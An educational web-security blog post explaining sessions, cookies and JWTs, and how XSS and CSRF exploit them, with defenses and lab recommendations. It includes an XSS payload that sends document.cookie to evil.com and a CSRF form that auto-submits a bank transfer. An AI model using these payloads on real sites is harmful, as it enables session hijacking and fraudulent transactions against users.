Cybersécurité

DevSecOps Deep Dive: Sessions, Cookies & Tokens Explained

1/20/2025
10 min read

Understanding Web Authentication Mechanisms

Modern web applications rely on three fundamental concepts for managing user authentication: sessions, cookies, and tokens. Understanding how these work—and how they can be exploited—is critical for building secure applications.

What Are Sessions?

Sessions are server-side storage mechanisms that track users across requests. Think of the server as a locker room: when you log in, it puts your data in a locker and gives you a key (session ID) via a cookie. The session data lives on the server, while the session ID is stored in a client-side cookie.

The Flow: Classic login → server creates session → sends session ID in cookie → browser automatically sends cookie on each request.

What Are Cookies?

Cookies are client-side storage sent with every request to the server. Like a browser carrying sticky notes in a backpack, cookies are automatically sent to the server each time. They commonly store session IDs and user settings like language or theme preferences.

Security Configurations

Proper cookie security requires three critical flags:

  • HttpOnly: Blocks JavaScript access to prevent XSS attacks from stealing cookies
  • Secure: Only sends cookies over HTTPS connections
  • SameSite: Prevents CSRF attacks by controlling cross-site cookie transmission

What Are Tokens?

Tokens are self-contained credentials like JWT (JSON Web Token). Think of them as a passport you carry—they prove who you are without the server needing to remember you. The server signs and returns the token, which is stored on the client (localStorage, sessionStorage, or cookies) and sent in the Authorization header with each request.

Unlike sessions, tokens require no server memory. The server simply verifies the signature without database lookups.

Cookies vs Tokens: Key Distinctions

A cookie is a storage method, while a token is a credential. You can store a token in a cookie, but a token is not inherently a cookie. Best practice: store JWTs in cookies with HttpOnly and Secure flags enabled for maximum security.

Authentication Scenarios Breakdown

Session-Based (PHP/Express)

Server stores session data and sends the session ID in a cookie. The browser automatically includes this cookie with every request.

Token-Based (Header Auth)

Server sends back a JWT, which is stored on the client and sent in the Authorization header. No server memory required—verification happens through signature validation.

JWT in Cookie (Hybrid Approach)

JWT stored in an HttpOnly cookie means the browser sends it automatically, but the server verifies it without database access. This combines the convenience of cookies with the stateless nature of tokens.

Understanding XSS (Cross-Site Scripting)

XSS occurs when unsanitized input allows JavaScript injection, enabling attackers to steal cookies if HttpOnly is not set. Consider this payload:

<script>
  fetch('http://evil.com?c='+document.cookie)
</script>

Impact: Session hijacking, token theft, and persistent infection across user sessions.

Defense: Use HttpOnly cookies, escape all output, implement CSP headers, and avoid inline JavaScript.

Understanding CSRF (Cross-Site Request Forgery)

CSRF exploits auto-sent cookies without token validation. An attacker can craft a malicious form that triggers when a victim visits their site:

<form action="https://bank.com/transfer" method="POST">
  <input name="to" value="attacker">
  <input name="amount" value="5000">
</form>
<script>document.forms[0].submit()</script>

Because the browser includes the session cookie automatically, the fake transfer request goes through.

Defense: Implement CSRF tokens, use SameSite=Strict on cookies, and combine POST requests with token validation.

How XSS and CSRF Work Together

XSS steals tokens from client storage (like localStorage), while CSRF abuses cookies that are auto-sent on behalf of users. Key insight: if your JWT is in localStorage, XSS becomes deadly. If your session ID is in a cookie, CSRF becomes viable.

Hands-On Practice

Want to understand these attacks practically? Practice on:

  • DVWA for foundational web vulnerabilities
  • Juice Shop for modern OWASP Top 10 scenarios
  • Burp Suite workflows for intercepting and manipulating requests

Use payload templates for stored XSS cookie stealers and CSRF auto-submitting forms to see these vulnerabilities in action.

Security Takeaways

Store JWTs in HttpOnly, Secure cookies—never in localStorage. Always implement CSRF tokens for state-changing operations. Sanitize all user inputs and escape all outputs. Use SameSite cookie attributes and implement proper Content Security Policy headers. The combination of these defenses creates defense-in-depth against modern web attacks.

View original post on LinkedIn